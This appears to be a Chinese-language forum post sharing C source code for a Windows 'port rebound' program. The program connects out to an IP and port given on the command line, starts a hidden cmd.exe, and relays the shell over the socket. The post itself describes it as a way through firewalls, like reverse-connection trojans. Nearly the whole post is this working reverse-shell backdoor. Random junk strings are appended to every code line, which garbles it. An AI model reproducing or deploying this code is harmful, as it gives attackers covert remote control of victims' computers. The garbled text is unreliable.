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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @su<_m6'  
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/* ============================== p=UW ^95  
Rebound port in Windows NT N`7OJ)l  
By wind,2006/7 e;~(7/1  
===============================*/ c.1gQy$}|  
#include JE{ cZ<NNH  
#include 2hNl_P~z1u  
jFg19C{=X  
#pragma comment(lib,"wsock32.lib") WFc4(Kl  
>{(c\oMD  
void OutputShell(); k(tB+k!vH\  
SOCKET sClient; !21G $ [H  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (rJ-S"^u  
3}g>/F ~  
void main(int argc,char **argv) ,F->*=  
{ G6{ PrV#  
WSADATA stWsaData; ?glx8@  
int nRet; N:Q.6_%^  
SOCKADDR_IN stSaiClient,stSaiServer; 0sSBwG  
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if(argc != 3) bA 0H  
{ ?s>_^xfD  
printf("Useage:\n\rRebound DestIP DestPort\n"); QqF*SaO>  
return; zqU$V~5;rG  
} }\H. G  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^m D$#  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X&aQR[X  
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stSaiClient.sin_family = AF_INET; xcl;~"c *  
stSaiClient.sin_port = htons(0); 6(?@B^S>2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  ^F?B_'  
x&u@!# d]  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %.Btf3y~  
{ 2vB,{/GXP  
printf("Bind Socket Failed!\n"); GD}rsBQNkJ  
return; .e5@9G.jb  
} B!`.,3  
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stSaiServer.sin_family = AF_INET; +KExK2=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?nu<)~r53  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J R~s`>2  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GCQOjqiR  
{ cEp/qzAiD%  
printf("Connect Error!"); w=-{njMz6&  
return; YH%U$eS#g  
} 9`/ywt3Y  
OutputShell(); ;7E"@b,tPN  
} G,Yctv  
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void OutputShell() QHje}  
{ $B>L_~cS  
char szBuff[1024]; E{-pkqx  
SECURITY_ATTRIBUTES stSecurityAttributes; f]2gjQHM  
OSVERSIONINFO stOsversionInfo; -$%~EY}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9\Rk(dd  
STARTUPINFO stStartupInfo; |@b|Q,  
char *szShell; OmK0-fa/  
PROCESS_INFORMATION stProcessInformation; 2y$DTMu  
unsigned long lBytesRead; xzMpTZQ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;CL^2{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4;H m%20g  
stSecurityAttributes.lpSecurityDescriptor = 0; h\)ual_r[j  
stSecurityAttributes.bInheritHandle = TRUE; 4K;0.W;~|  
N/0Q`cQ-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )i39'0a  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R. ryy  
Lrx"Hn{  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); RM2feWm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3!*` hQ;s  
stStartupInfo.wShowWindow = SW_HIDE; zhRF>Y`  
stStartupInfo.hStdInput = hReadPipe; |`wJ {-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; yYk?K<ou  
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GetVersionEx(&stOsversionInfo); >i1wB!gc8  
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switch(stOsversionInfo.dwPlatformId) [daR)C  
{ LWM& k#i  
case 1: 86&r;c:  
szShell = "command.com"; `i!-@WN"  
break; Q3)[ *61e  
default: E9 #o0Di  
szShell = "cmd.exe"; I[ZWOi\- ;  
break; uWXxK"J.  
} $:D L+E-}  
0B`rTLwB  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _#P5j#  
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send(sClient,szMsg,77,0); g2r8J0v  
while(1) 1*@Q~f:Uk  
{ G in  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \=W t{  
if(lBytesRead) {2|sk9?W  
{ 5= MM^$QG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oFGgr2Re  
send(sClient,szBuff,lBytesRead,0); : SD3  
} 6Vu??qBy  
else @yPI$"Ma  
{ q=BAYZ\`  
lBytesRead=recv(sClient,szBuff,1024,0); K,HR=5  
if(lBytesRead<=0) break; =PBJ+"DQs  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^dhtc% W>  
} \w{fq+G  
} $/JnYkL{m  
BxxqzN+  
return; 8=sMmpB 7u  
}
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